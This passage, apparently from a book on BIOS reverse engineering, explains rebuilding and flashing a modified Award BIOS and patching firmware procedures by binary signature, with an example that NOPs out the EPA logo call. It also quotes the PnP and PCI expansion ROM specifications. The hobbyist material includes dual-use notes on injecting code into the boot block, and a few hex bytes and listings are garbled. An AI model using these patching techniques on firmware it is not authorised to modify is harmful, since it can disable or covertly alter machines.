<td>3. Initialize PwrMgmtCtrlr</td>
</tr>
<tr>
<td>E000:61DA</td>
<td>dw 2342h</td>
<td>1. Initialize FPU</td>
</tr>
<tr>
<td>E000:61DA</td>
<td>dw 23F9h</td>
<td>2. Initialize microcode (init CPU)</td>
</tr>
<tr>
<td>E000:61DC</td>
<td>dw 2353h</td>
<td>3. Initialize FSB (clock gen)</td>
</tr>
<tr>
<td>E000:61DC</td>
<td>dw 2355h</td>
<td>4. Initialize W87381D VID regs</td>
</tr>
<tr>
<td>E000:61DC</td>
<td>dw 2357h</td>
<td>5. Initialize mobo timer</td>
</tr>
</tbody>
</table>

---

7 E000:61DCh in the system BIOS is shown as address 61DCh if you look at the binary in Hex Workshop.
6.2.8. Rebuilding the BIOS Binary

Rebuilding the BIOS binary is simple. Just finish the modification on the temporary system BIOS. Then save the changes in modbin. Once you have saved the changes, modbin will pack all temporary decompressed components into the BIOS binary. In this particular example, the changes are saved in modbin 4.50.80C and modbin is closed.

6.2.9. Flashing the Modified BIOS Binary

Flashing the modified BIOS binary into the motherboard BIOS chip is trivial. For Award BIOS, just use the awardflash program that's shipped with the motherboard BIOS. I don't have to discuss this step in detail because it's trivial to do.

Now, you have completed all of the modification steps and are ready to test the modified BIOS binary. In this particular modification example, I've tested the modified BIOS binary and it works as expected. Note that sometimes you have to restart the system a few times to ensure that the system is fine after the modification.

6.3. Other Modifications

After the basics of Award BIOS reverse engineering in the previous chapter, various modification techniques come to mind. Frankly, you can modify almost every aspect of the BIOS by adjusting the boot block, modifying the system BIOS, adding new components, etc.

As you know, the boot block starts execution at address $F000:FFF0h or at its alias at $FFFFFFF0h. In Award BIOS, this entry point always jumps to $F000:F05Bh. You can redirect this jump into a custom-made procedure that's injected in the boot block padding bytes and subsequently jump back to $F000:F05Bh in the end of the injected procedure. The padding bytes in boot block are few. Thus, only a little code can be injected there. That's one possible modification.

Another type of modification is patching certain "interesting" procedures within the system BIOS binary. However, there is one inherent problem with it. Searching for the location of an interesting procedure can be time-consuming if you intend to make a similar modification in several BIOS files. To alleviate this problem, you can use a technique usually used in the computer security realm called "forming a binary signature." A binary signature is a unique block of bytes that represents certain consecutive machine instructions.

You might be tempted to think that it's hard to find a pattern on a binary file with 256 possible combination per byte. This is true to some degree. However, the system BIOS
binary contains more code than the data section, even though they overlap. Thus, finding a byte pattern is quite easy, because x86 instruction bytes have particular rules that must be adhered to, just like other processor architectures. In addition, it's natural not to waste precious space in RAM and a BIOS chip by repeating the same group of instructions. This space-saving technique is accomplished by forming a procedure or routine for a group of instructions that will be invoked from another section of the binary. This provides the huge possibility to find a unique group of instructions, a byte pattern, within the binary because it means that they are rarely repeated. The task of forming a new signature is not too hard. These are the "algorithm":

1. Find the interesting procedure with a disassembler.
2. Observe the instruction groups that make up the procedure and note their equivalent hexadecimal values.
3. Find some bytes, i.e., a few instructions lumped as a group as the "initial guess" for the signature. Search for other possibilities of occurrence of the initial guess in the binary with a hex editor. If the group occurs more than once, add some instruction bytes into the initial guess and repeat until only one occurrence is found in the binary. Voila, the signature is formed.

Once you have formed the signature, the task of patching the system BIOS file is task. You can even build a "patcher" to automate the process.

To be able to locate a specific procedure to patch, you have to know something about it; this allows you to make an intelligent guess about its location. In a Windows binary file, a call to certain operating system function is the necessary hint. For BIOS binary, here are a few tips:

1. If you are looking for an I/O-related procedure, start by looking for "suspicious" access to the particular I/O port. It's better to know the protocol that's supposed to be used by the I/O port in advance. For example, if you want to find the chipset initialization routine, start looking for accesses to the PCI configuration address port (CF8h–CFBh) and data port (CFCh–CFFh). That's because access to the chipset is through PCI configuration cycles. In addition, if you want to look for the IDE device initialization routines, you have to start looking for accesses to ports 1F0h–1F7h and 170h–177h.
2. Some devices are mapped to some predefined memory address range. For example, the VGA frame buffer is mapped to B_0000h or B_8000h. These are quirks you must know.
3. By using the BIOS POST code\(^8\) as a reference, you can crosscheck an output to the POST code port, i.e., port 80h with the routine you are looking for. During BIOS execution, a lot of POST code is written to port 80h, and each POST code

\(^8\) POST code in this context is not the POST routine but the hexadecimal value written to port 80h that can be displayed in a specialized expansion card called the POST card.
corresponds to completion of a routine or a corresponding error code. It can be a valuable hint.

In principle, you have to know the big picture and then narrow the target in each step. For BIOS binary, in most cases you have to be particularly aware of the hardware protocol you are targeting and the memory or I/O address range that relates to the protocol. Once the protocol is known, you can look for the procedure quite easily. BIOS routines are implementations of the bus protocol, sometimes with only modest modification from the samples in the protocol documentation.

As a sample of the BIOS patching scenario, modify the so-called EPA procedure. The Environmental Protection Agency (EPA) procedure is the procedure that draws the EPA logo during Award BIOS execution. Disable this feature by replacing the EPA procedure call with \texttt{nop} (do nothing) instructions. The EPA procedure in Award BIOS is a quite well-known procedure. Thus, the signature is already widespread on the Net. In Iwill VD133 BIOS, to modify the EPA procedure look for the "80 8E E1 01 10 F6 46 14 30" byte pattern as follows:

<table>
<thead>
<tr>
<th>Hex values</th>
<th>Assembly Code</th>
</tr>
</thead>
<tbody>
<tr>
<td>80 8E E1 01 10</td>
<td>or byte ptr [bp+1E1h], 10h</td>
</tr>
<tr>
<td>64 14 30</td>
<td>test byte ptr [bp+14h], 30h</td>
</tr>
</tbody>
</table>

Then subsequently patch it, as illustrated in the BIOS modification change log:

Changes in VD30728X.BIN:
-----------------------------------------------
source file name : VD30728.BIN
modified file name : VD30728X.BIN
Modification goal: To disable the EPA procedure.
Before modification, the code looks like (disassembled original.tmp)

........
E000:1E4C B8 00 F0 mov ax, 0F000h
E000:1E4F 8E D8 mov ds, ax
E000:1E51 assume ds: F000h
E000:1E51 E8 8C 11 call exec_nnoprom_100h
E000:1E54 73 03 jnb short skip_epa_proc
E000:1E56 E8 C3 00 call EPA_Procedure
E000:1E59 skip_epa_proc:
E000:1E59 E8 AF 01 call init_EGA_video
........
E000:1F1C EPA_Procedure proc near
E000:1F1C 80 8E E1 01 10 or byte ptr [bp+1E1h], 10h
E000:1F21 F6 46 14 30 test byte ptr [bp+14h], 30h
E000:1F25 74 01 jz short loc_E000_1F28
E000:1F27 C3 retn
E000:1F28 ; -------------------------------------
E000:1F28 loc_E000_1F28:
E000:1F28 06 push es
After modification, the code looks like (disassembled original.tmp)

E000:1E4C B8 00 F0  mov ax, 0F000h
E000:1E4F 8E D8  mov ds, ax
E000:1E51 90  assume ds:nothing
E000:1E51 90  nop
E000:1E52 90  nop
E000:1E53 90  nop
E000:1E54 90  nop
E000:1E55 90  nop
E000:1E56 90  nop
E000:1E57 90  nop
E000:1E58 90  nop
E000:1E59 E8 AF 01  call init_EGA_Video

Testing result: Goal reached; the BIOS doesn't display the EPA logo as intended and the system still works normally.

If you want to try this modification yourself, patch the highlighted instructions by using the hex editor to NOP (90h) as shown previously. In this sample, the signature is known in advance. Hence, there is no difficulty in carrying out the modification.

There are many other advanced modifications that you can make to the BIOS binary. I hope that the explanation of the basic principles in this chapter will be enough so that you dare to try more extreme modifications.
Part III Expansion ROM

Chapter 7 PCI Expansion ROM Software Development

PREVIEW

This chapter is devoted to explaining the development of PCI expansion ROM. I start with the prerequisite knowledge, i.e., an explanation of the Plug and Play (PnP) BIOS architecture and PCI expansion ROM architecture, both hardware and software. Then, I proceed to develop a straightforward PCI expansion ROM example. The material in this chapter has been published in CodeBreakers Journal¹

7.1. PnP BIOS and Expansion ROM Architecture

You learned in chapter 1 that expansion ROMs are initialized during POST execution. The card's expansion ROMs were called by the system BIOS to initialize the card properly before the loading of the operating system.

7.1.1. PnP BIOS Architecture

This section does not provide a complete explanation of the PnP BIOS architecture. It only explains the parts of the PnP BIOS architecture necessary to develop a PCI expansion ROM.

These parts are the specification of the initialization code that resides in the expansion cards and the specification of the bootstrap process, i.e., transferring control from the BIOS to the operating system after the BIOS has finished initializing the system. Initialization of option ROM is part of the POST routine in the system BIOS. The related information from the "Plug and Play BIOS Specification, version 1.0A" is provided in the next sections.

POST Execution Flow

The following steps outline a typical flow of a Plug and Play system BIOS POST. . . .

¹ Low Cost Embedded x86 Teaching Tool, The CodeBreakers Journal Volume 1 Issue 1, 2006
1. Disable all configurable devices. Any configurable devices known to the system BIOS should be disabled early in the POST process.

2. Identify all Plug and Play ISA devices. Assign CSNs [card select numbers] to Plug and Play ISA devices but keep devices disabled. Also determine which devices are boot devices.

3. Construct an initial resource map of allocated resources... that are statically allocated to devices in the system. If the system software has explicitly specified the system resources assigned to ISA devices in the system through the “set statically allocated resource information” function, the system BIOS will create an initial resource map based on this information. If the BIOS implementation provides support for saving the last working configuration and the system software has explicitly assigned system resources to specific devices in the system, then this information will be used to construct the resource map. This information will also be used to configure the devices in the system... . . .

4. Select and enable the input and output device. Compatibility devices in the system that are not configurable always have precedence. For example, a standard VGA adapter would become the primary output device. If configurable input and output devices exist, then enable these devices at this time. If Plug and Play input and output devices are being selected, then initialize the option ROM, if it exists, using the Plug and Play option ROM initialization procedure... . . .

5. Perform an ISA ROM scan... from C0000h to EFFFFh on every 2-KB boundary. Plug and Play option ROMs are disabled at this time (except input and output boot devices) and will not be included in the ROM scan.

6. Configure the IPL [initial program load] device. If a Plug and Play device has been selected as the IPL device, then use the Plug and Play option ROM procedure to initialize the device. If the IPL device is known to the system BIOS, then ensure that interrupt 19h is still controlled by the system BIOS. If not, recapture interrupt 19h and save the vector.

7. Enable Plug and Play ISA and other configurable devices. If a static resource allocation method is used, then enable the PnP ISA cards with conflict-free resource assignments. Initialize the option ROMs and pass along the defined parameters. All other configurable devices should be enabled, if possible, at this time. If a dynamic resource allocation method is used, then enable the bootable Plug and Play ISA cards with conflict-free resource assignments and initialize the option ROMs.

8. Initiate the interrupt 19h IPL sequence. Start the bootstrap loader. If the operating system fails to load and a previous option ROM had control of the interrupt 19h vector, then restore the interrupt 19h vector to the option ROM and re-execute the interrupt 19h bootstrap loader.

9. Operating system takes over resource management. If the loaded operating system is Plug and Play compliant, then it will take over management of the system resources. It will use the runtime services of the system BIOS to determine the current allocation of these resources. It is
assumed that any unconfigured Plug and Play devices will be configured by
the appropriate system software or the Plug and Play operating system.

Option ROM Support

This section outlines the Plug and Play option ROM requirements. This option
ROM support is directed specifically towards boot devices; however, the
static resource information vector permits non-Plug and Play devices which
have option ROMs to take advantage of the Plug and Play option ROM
expansion header to assist a Plug and Play environment whether or not it is
a boot device. A boot device is defined as any device which must be
initialized prior to loading the operating system. Strictly speaking, the only
required boot device is the . . . IPL device upon which the operating system
is stored. However, the definition of boot devices is extended to include a
primary input device and a primary output device. In some situations these
I/O devices may be required for communication with the user. All new Plug
and Play devices that support option ROMs should support the Plug and Play
option ROM header. In addition, all non-Plug and Play devices may be
"upgraded" to support the Plug and Play option ROM header as well. While
static ISA devices will still not have software configurable resources, the
Plug and Play option ROM header will greatly assist a Plug and Play system
BIOS in identification and selection of the primary boot devices.

It is important to note that the option ROM support outlined here is defined
specifically for computing platforms based on the Intel x86 family of
microprocessors and may not apply to systems based on other types of
microprocessors.

Option ROM Header

The Plug and Play option ROM header follows the format of the generic
option ROM header extensions. . . . The generic option ROM header is a
mechanism whereby the standard ISA option ROM header may be expanded
with minimal impact upon existing option ROMs. The pointer at offset 1Ah
can point to any type of header. Each header provides a link to the next
header; thus, future option ROM headers may use this same generic pointer
and still coexist with the Plug and Play option ROM header. Each option ROM
header is identified by a unique string. The length and checksum bytes allow
the system BIOS and/or system software to verify that the header is valid.

<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
<th>Value</th>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0h</td>
<td>2h</td>
<td>AA55h</td>
<td>Signature</td>
<td>Standard</td>
</tr>
<tr>
<td>2h</td>
<td>1h</td>
<td>Varies</td>
<td>Option ROM length</td>
<td>Standard</td>
</tr>
<tr>
<td>3h</td>
<td>4h</td>
<td>Varies</td>
<td>Initialization vector</td>
<td>Standard</td>
</tr>
<tr>
<td>7h</td>
<td>13h</td>
<td>Varies</td>
<td>Reserved</td>
<td>Standard</td>
</tr>
<tr>
<td>1Ah</td>
<td>2h</td>
<td>Varies</td>
<td>Offset to expansion header</td>
<td>New for Plug and Play</td>
</tr>
</tbody>
</table>

Standard option ROM header
• **Signature.** All ISA expansion ROMs are currently required to identify themselves with a signature word of AA55h at offset 0. This signature is used by the system BIOS as well as other software to identify that an option ROM is present at a given address.

• **Length.** The length of the option ROM in 512-byte increments.

• **Initialization vector.** The system BIOS will execute a FAR CALL to this location to initialize the option ROM. A Plug and Play system BIOS will identify itself to a Plug and Play option ROM by passing a pointer to a Plug and Play identification structure when it calls the option ROM’s initialization vector. If the option ROM determines that the system BIOS is a Plug and Play BIOS, the option ROM should not hook the input, display, or IPL device vectors (INT 9h, 10h, or 13h) at this time. Instead, the device should wait until the system BIOS calls the boot connection vector before it hooks any of these vectors. Note: A Plug and Play device should never hook INT 19h or INT 18h until its boot connection vector, offset 16h of the expansion header structure . . . , has been called by the Plug and Play system BIOS. If the option ROM determines that it is executing under a Plug and Play system BIOS, it should return some device status parameters upon return from the initialization call . . . . The field is four bytes wide even though most implementations may adhere to the custom of defining a simple three-byte NEAR JMP. The definition of the fourth byte may be OEM [original equipment manufacturer] specific.

• **Reserved.** This area is used by various vendors and contains OEM-specific data and copyright strings.

• **Offset to expansion header.** This location contains a pointer to a linked list of option ROM expansion headers. Various expansion headers (regardless of their type) may be chained together and accessible via this pointer. The offset specified in this field is the offset from the start of the option ROM header.

### Expansion Header for Plug and Play

<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
<th>Value</th>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0h</td>
<td>4 bytes</td>
<td>$PnP (ASCII)</td>
<td>Signature</td>
<td>Generic</td>
</tr>
<tr>
<td>04h</td>
<td>Byte</td>
<td>Varies</td>
<td>Structure revision</td>
<td>$01h</td>
</tr>
<tr>
<td>05h</td>
<td>Byte</td>
<td>Varies</td>
<td>Length (in 16 byte increments)</td>
<td>Generic</td>
</tr>
<tr>
<td>06h</td>
<td>Word</td>
<td>Varies</td>
<td>Offset of next header (0000h if none)</td>
<td>Generic</td>
</tr>
<tr>
<td>08h</td>
<td>Byte</td>
<td>00h</td>
<td>Reserved</td>
<td>Generic</td>
</tr>
<tr>
<td>09h</td>
<td>Byte</td>
<td>Varies</td>
<td>Checksum</td>
<td>Generic</td>
</tr>
<tr>
<td>0Ah</td>
<td>Dword</td>
<td>Varies</td>
<td>Device identifier</td>
<td>PnP specific</td>
</tr>
<tr>
<td>0Eh</td>
<td>Word</td>
<td>Varies</td>
<td>Pointer to manufacturer string (optional)</td>
<td>PnP specific</td>
</tr>
<tr>
<td>Offset</td>
<td>Type</td>
<td>Length</td>
<td>Information</td>
<td></td>
</tr>
<tr>
<td>--------</td>
<td>----------</td>
<td>--------</td>
<td>-----------------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>10h</td>
<td>Word</td>
<td>Varies</td>
<td>Pointer to product name string (optional)</td>
<td></td>
</tr>
<tr>
<td>12h</td>
<td>3 bytes</td>
<td>Varies</td>
<td>Device type code</td>
<td></td>
</tr>
<tr>
<td>15h</td>
<td>Byte</td>
<td>Varies</td>
<td>Device indicators</td>
<td></td>
</tr>
<tr>
<td>16h</td>
<td>Word</td>
<td>Varies</td>
<td>Boot connection vector: real/protected mode (0000h if none)</td>
<td></td>
</tr>
<tr>
<td>18h</td>
<td>Word</td>
<td>Varies</td>
<td>Disconnect vector: real/protected mode (0000h if none)</td>
<td></td>
</tr>
<tr>
<td>1Ah</td>
<td>Word</td>
<td>Varies</td>
<td>Bootstrap entry point: real/protected mode (0000h if none)</td>
<td></td>
</tr>
<tr>
<td>1Ch</td>
<td>Word</td>
<td>0000h</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>1Eh</td>
<td>Word</td>
<td>Varies</td>
<td>Static resource information vector: real/protected mode (0000h if none)</td>
<td></td>
</tr>
</tbody>
</table>

- **Signature.** All expansion headers will contain a unique expansion header identifier. The Plug and Play expansion header's identifier is the ASCII string "$PnP" or hex 24 50 6E 50h (Byte 0 = 24h ... Byte 3 = 50h).

- **Structure revision.** This is an ordinal value that indicates the revision number of this structure only and does not imply a level of compliance with the Plug and Play BIOS version.

- **Length.** The length of the entire expansion header [is] expressed in sixteen-byte blocks. The length count starts at the Signature field.

- **Offset of next header.** This location contains a link to the next expansion ROM header in this option ROM. If there are no other expansion ROM headers, then this field will have a value of 0h. The offset specified in this field is the offset from the start of the option ROM header.

- **Reserved.** Reserved for expansion

- **Checksum.** Each expansion header is checksummed individually. This allows the software which wishes to make use of an expansion header (in this case, the system BIOS) the ability to determine if the expansion header is valid. The method for validating the checksum is to add up all byte values in the expansion header, including the Checksum field, into an 8-bit value. A resulting sum of zero indicates a valid checksum operation.

- **Device identifier.** This field contains the Plug and Play device ID.

- **Pointer to manufacturer string (optional).** This location contains an offset relative to the base of the option ROM, which points to an ASCII representation of the board manufacturer's name. This field is optional, and if the pointer is 0 (null) then the manufacturer string is not supported.
• **Pointer to product name string (optional).** This location contains an offset relative to the base of the option ROM, which points to an ASCII representation of the product name. This field is optional and if the pointer is 0 (null) then the product name string is not supported.

• **Device type code.** This field contains general device type information that will assist the system BIOS in prioritizing the boot devices. The device type code is broken down into three-byte fields. The byte fields consist of a base-type code that indicates the general device type. The second byte is the device sub-type and its definition is dependent upon the base-type code. The third byte defines the specific device programming interface, if-type, based on the base-type and sub-type. Refer to Appendix B of "Plug and Play BIOS Specification, version 1.0A" for a description of device type codes.

• **Device indicators.** This field contains indicator bits that identify the device as being capable of being one of the three identified boot devices: input, output, or . . . IPL.

<table>
<thead>
<tr>
<th>Bit</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>A 1 indicates that this ROM supports the device driver initialization model</td>
</tr>
<tr>
<td>6</td>
<td>A 1 indicates that this ROM may be shadowed in RAM</td>
</tr>
<tr>
<td>5</td>
<td>A 1 indicates that this ROM is read cacheable</td>
</tr>
<tr>
<td>4</td>
<td>A 1 indicates that this option ROM is only required if this device is selected as a boot device</td>
</tr>
<tr>
<td>3</td>
<td>Reserved (0)</td>
</tr>
<tr>
<td>2</td>
<td>A 1 in this position indicates that this device is an IPL device</td>
</tr>
<tr>
<td>1</td>
<td>A 1 in this position indicates that this device is an input device</td>
</tr>
<tr>
<td>0</td>
<td>A 1 in this position indicates that this device is a display device</td>
</tr>
</tbody>
</table>

• **Boot connection vector (real/protected mode).** This location contains an offset from the start of the option ROM header to a routine that will cause the option ROM to hook one or more of the primary input, primary display, or . . . IPL device vectors (INT 9h, INT 10h, or INT 13h), depending upon the parameters passed during the call. When the system BIOS has determined that the device controlled by this option ROM will be one of the boot devices (the primary input, primary display, or IPL device), the system ROM will execute a FAR CALL to the location pointed to by the boot connection vector. The system ROM will pass the following parameters to the options ROM’s boot connection vector.

<table>
<thead>
<tr>
<th>Register</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AX</td>
<td>Provides an indication as to which vectors should be hooked by specifying the type of boot device this device has been selected as.</td>
</tr>
</tbody>
</table>
Bit 7: Reserved(0)
Bit 6: Connect as IPL (INT 13h)
Bit 5: 1 = Connect as primary video (INT 10h)
Bit 0: 1 = Connect as primary input (INT 09h)

ES:DI Pointer to system BIOS PnP installation check structure.
BX CSN for this card, ISA PnP devices only. If not an ISA PnP device, then this parameter will be set to FFFFh.
DX Read data port, (ISA PnP devices only). If no ISA PnP devices, then this parameter will be set to FFFFh.

- **Disconnect vector (real/protected mode).** This vector is used to perform a cleanup from an unsuccessful boot attempt on an IPL device. The system ROM will execute a FAR CALL to this location on IPL failure.

- **Bootstrap entry vector (real/protected mode).** This vector is used primarily for RPL (remote program load) support. To RPL (bootstrap), the system ROM will execute a FAR CALL to this location. The system ROM will call the real/protected mode bootstrap entry vector instead of INT 19h if
  a. The device indicates that it may function as an IPL device.
  b. The device indicates that it does not support the INT 13h block mode interface.
  c. The device has a non-null bootstrap entry vector.
  d. The real/protected mode boot connection vector is null.

The method for supporting RPL is beyond the scope of this specification. A separate specification should define the explicit requirements for supporting RPL devices.

- **Reserved.** Reserved for expansion.

- **Static resource information vector.** This vector may be used by non–Plug and Play devices to report static resource configuration information. Plug and Play devices should not support the static resource information vector for reporting their configuration information. This vector should be callable both before and/or after the option ROM has been initialized. The call interface for the static resource information vector is as follows:

  **Entry:**
  ES:DI Pointer to memory buffer to hold the device's static resource configuration information. The buffer should be a minimum of 1,024 bytes. This information should follow the system device node data structure, except that the device node number field should always be set to 0 and the information returned should only specify the currently allocated resources (allocated resource configuration descriptor block) and not the block of possible resources (possible resource configuration descriptor block). The possible resource configuration descriptor block should only contain the END_TAG resource descriptor to indicate that there are no alternative resource configuration settings for this device because the resource configuration for this device is static. Refer to the “Plug and Play ISA
Refer to section 4.2 of the "Plug and Play BIOS Specification" for a complete description of the elements that make up the system device node data structure. For example, an existing, non-Plug and Play SCSI card vendor could choose to revise the SCSI board's option ROM to support the Plug and Play expansion board. While this card wouldn't gain any of the configuration benefits provided to full hardware Plug and Play cards, it would allow Plug and Play software to determine the device's configuration and thus ensure that Plug and Play cards will map around the static SCSI board's allocated resources.

### Option ROM Initialization

The system BIOS will determine if the option ROM it is about to initialize supports the Plug and Play interface by verifying the structure revision number in the device's Plug and Play header structure. For all option ROMs compliant with the "Plug and Play BIOS Specification, version 1.0"; the system BIOS will call the device's initialization vector with the following parameters:

<table>
<thead>
<tr>
<th>Register Value on Entry</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ES:DI</td>
<td>Pointer to system BIOS PnP installation check structure.</td>
</tr>
<tr>
<td>BX</td>
<td>CSN for this card, ISA PnP devices only. If not an ISA PnP device, then this parameter will be set to FFFFh.</td>
</tr>
<tr>
<td>DX</td>
<td>Read data port, (ISA PnP devices only). If no ISA PnP devices, then this parameter will be set to FFFFh.</td>
</tr>
</tbody>
</table>

For other bus architectures refer to the appropriate specification for register parameters on entry. During initialization, a Plug and Play option ROM may...
hook any vectors and update any data structures required for it to access any attached devices and perform the necessary identifications and initializations. However, upon exit from the initialization call, the option ROM must restore the state of any vectors or data structures related to boot devices (INT 9h, INT 10h, INT 13h, and associated BIOS data area [BDA] and extended BIOS data area [EBDA] variables).

Upon exit from the initialization call, Plug and Play option ROMs should return some boot device status information in the following format:

<table>
<thead>
<tr>
<th>AX Bit</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>I = IPL device supports INT 13h block device format</td>
</tr>
<tr>
<td>7</td>
<td>I = Output device supports INT 10h character output</td>
</tr>
<tr>
<td>6</td>
<td>I = Input device supports INT 9h character input</td>
</tr>
<tr>
<td>5:4</td>
<td>00 = No IPL device attached</td>
</tr>
<tr>
<td></td>
<td>01 = Unknown whether or not an IPL device is attached</td>
</tr>
<tr>
<td></td>
<td>10 = IPL device attached (RPL devices have a connection)</td>
</tr>
<tr>
<td></td>
<td>11 = Reserved</td>
</tr>
<tr>
<td>3:2</td>
<td>00 = No display device attached</td>
</tr>
<tr>
<td></td>
<td>01 = Unknown whether or not a display device is attached</td>
</tr>
<tr>
<td></td>
<td>10 = Display device attached</td>
</tr>
<tr>
<td></td>
<td>11 = Reserved</td>
</tr>
<tr>
<td>1:0</td>
<td>00 = No input device attached</td>
</tr>
<tr>
<td></td>
<td>01 = Unknown whether or not an input device is attached</td>
</tr>
<tr>
<td></td>
<td>10 = Input device attached</td>
</tr>
<tr>
<td></td>
<td>11 = Reserved</td>
</tr>
</tbody>
</table>

**Option ROM Initialization Flow**

The following outlines the typical steps used to initialize option ROMs during a Plug and Play system BIOS POST:

1. Initialize the boot device option ROMs. This includes the primary input, primary output, and . . . IPL device option ROMs.

2. Initialize ISA option ROMs by performing ISA ROM scan. The ISA ROM scan should be performed from C0000h to EFFFFh on every 2-KB boundary. Plug and Play option ROMs will not be included in the ROM scan.

3. Initialize option ROMs for ISA devices which have a Plug and Play option ROM. Typically, these devices will not provide support for dynamic configurability. However, the resources utilized by these devices can be obtained through the static resource information vector. . . .

4. Initialize option ROMs for Plug and Play cards which have a Plug and Play option ROM.
5. Initialize option ROMs that support the device driver initialization model (DDIM). Option ROMs that follow this model make the most efficient use of space consumed by option ROMs. Refer to Appendix B [of the "Plug and Play BIOS Specification, version 1.0"] for more information on the DDIM.

7.1.2. "Abusing" PnP BIOS for Expansion ROM Development

At this point, you know that the facility of PnP BIOS that will help in developing the PCI expansion ROM is the bootstrap entry vector (BEV). The reason for selecting this bootstrap mechanism is that the core functionality of the PC that will be used must not be disturbed by the new functionality of the PC as the PCI expansion ROM development tool and target platform. In other words, by setting up the option ROM to behave as an RPL device, the option ROM will only be executed as the bootstrap device if the RPL, i.e., boot from LAN support, is activated in the system BIOS. By doing things this way, you can switch between normal usage of the PC and usage of the PC as a PCI expansion ROM development and target platform by setting the appropriate system BIOS setting, i.e., the boot from LAN activation entry.

To put simply, here I develop an experimental PCI expansion ROM that behaves like an ordinary LAN card ROM, such as the one used in diskless machines, e.g., etherboot ROMs. I use the part of the PCI expansion ROM routine to boot the machine, replacing the "ordinary" operating system boot mechanism.

In later sections, I demonstrate how to implement this logic by developing a custom PCI expansion ROM that can be flashed into a real PCI expansion card "hacked" to behave so that the PnP BIOS thinks it's a real LAN card.

7.1.3. POST and PCI Expansion ROM Initialization

System POST code mostly treats add-in PCI devices like those soldered on to the motherboard. The one exception is the handling of expansion ROMs. The POST code detects the presence of an option ROM in two steps. First, the code determines if the PCI device has implemented an expansion ROM base address register (XROMBAR) in its PCI configuration space registers. If the register is implemented, the POST must map and enable the ROM in an unused portion of the address space and check the first 2 bytes for the AA55h signature. If that signature is found, there is a ROM present; otherwise, no ROM is attached to the device. If a ROM is attached, POST must search the ROM for an image that has the proper code type and whose vendor ID and device ID fields match the corresponding fields in the device's PCI configuration registers.

---

2 Refer to figure 1.7 in chapter 1 for the PCI configuration space register layout that applies to PCI add-in cards.

3 Image refers to the expansion ROM binary file inside the add-in card ROM chip.
After finding the proper image, POST copies the appropriate amount of data into RAM. Then the device's initialization code is executed; determining the appropriate amount of data to copy and how to execute the device's initialization code will depend on the code type for the field.

### 7.1.4. PCI Expansion XROMBAR

Some PCI devices, especially those intended for use on add-in cards in PC architectures, require local EPROMs for expansion ROM. The 4-byte register at offset 30h in a type 00h predefined header is defined to handle the base address and size information for this expansion ROM. Figure 7.1 shows how this word is organized. The register functions exactly like a 32-bit BAR except that the encoding and usage of the bottom bits is different. The upper 21 bits correspond to the upper 21 bits of the expansion ROM base address. The number of bits (out of these 21) that a device actually implements depends on how much address space the device requires. For instance, a device that requires a 64-KB area to map its expansion ROM would implement the top 16 bits in the register, leaving the bottom 5 (out of these 21) hardwired to 0. Devices that support an expansion ROM must implement this register.

Device-independent configuration software can determine how much address space the device requires by writing a value of all ones to the address portion of the register and then reading the value back. The device will return zeros in all don't-care bits, effectively specifying the size and alignment requirements. The amount of address space a device requests must not be greater than 16 MB.

![Figure 7.1 PCI XROMBAR layout](image)

Bit 0 in the register is used to control whether or not the device accepts accesses to its expansion ROM. When this bit is 0, the device's expansion ROM address space is disabled. When the bit is 1, address decoding is enabled using the parameters in the other part of the base register. This allows a device to be used with or without an expansion ROM depending on system configuration. The memory space bit in the command register has precedence over the expansion ROM enable bit. A device must respond to accesses to its

---

4 Refer to figure 1.7 in chapter 1 for type 00h predefined header for PCI devices. The header in this context is PCI configuration space header.

5 The command register is located in the PCI configuration space header of a PCI device.
expansion ROM only if both the memory space bit and the expansion ROM base address enable bit are set to 1. This bit’s state after reset is 0.

To minimize the number of address decoders needed, a device may share a decoder among the XROMBAR and other BARs. When expansion ROM decode is enabled, the decoder is used for accesses to the expansion ROM, and device-independent software must not access the device through any other BARs.

7.1.5. PCI Expansion ROM

The hardware aspect of PCI expansion ROM was explained in the preceding section. The XROMBAR is used to aid in the addressing of the ROM chip soldered into the corresponding PCI expansion card.

The PCI specification provides a mechanism whereby devices can supply expansion ROM code that can be executed for device-specific initialization and, possibly, a system boot function. The mechanism allows the ROM to contain several images to accommodate different machine and processor architectures. This section explains the required information and layout of code images in the expansion ROM. Note that PCI devices that support an expansion ROM must allow that ROM to be accessed with any combination of byte enables. This specifically means that dword accesses to the expansion ROM must be supported.

The information in the ROMs is laid out to be compatible with existing Intel x86 expansion ROM headers for ISA, EISA, and MC adapters, but it will also support other machine architectures. The information available in the header has been extended so that more optimum use can be made of the function provided by the adapter and so that the runtime portion of the expansion ROM code uses the minimum amount of memory space. PCI expansion ROM header information supports the following functions:

- A length code is provided to identify the total contiguous address space needed by the PCI device ROM image at initialization.
- An indicator identifies the type of executable or interpretive code that exists in the ROM address space in each ROM image.
- A revision level for the code and data on the ROM is provided.
- The vendor ID and device ID of the supported PCI device are included in the ROM.

One major difference in the usage model between PCI expansion ROMs and standard ISA, EISA, and MC ROMs is that the ROM code is never executed in place. It is always copied from the ROM device to RAM and executed from RAM. This enables dynamic sizing of the code (for initialization and runtime) and provides speed improvements when executing runtime code.

7.1.5.1. PCI Expansion ROM Contents
PCI device expansion ROMs may contain code (executable or interpretive) for multiple processor architectures. This may be implemented in a single physical ROM, which can contain as many code images as desired for different system and processor architectures, as shown in figure 7.2. Each image must start on a 512-byte boundary and must contain the PCI expansion ROM header. The starting point of each image depends on the size of previous images. The last image in a ROM has a special encoding in the header to identify it as the last image.

![Image 7.2 PCI expansion ROM structure](image)

### 7.1.5.1.1. PCI Expansion ROM Header Format

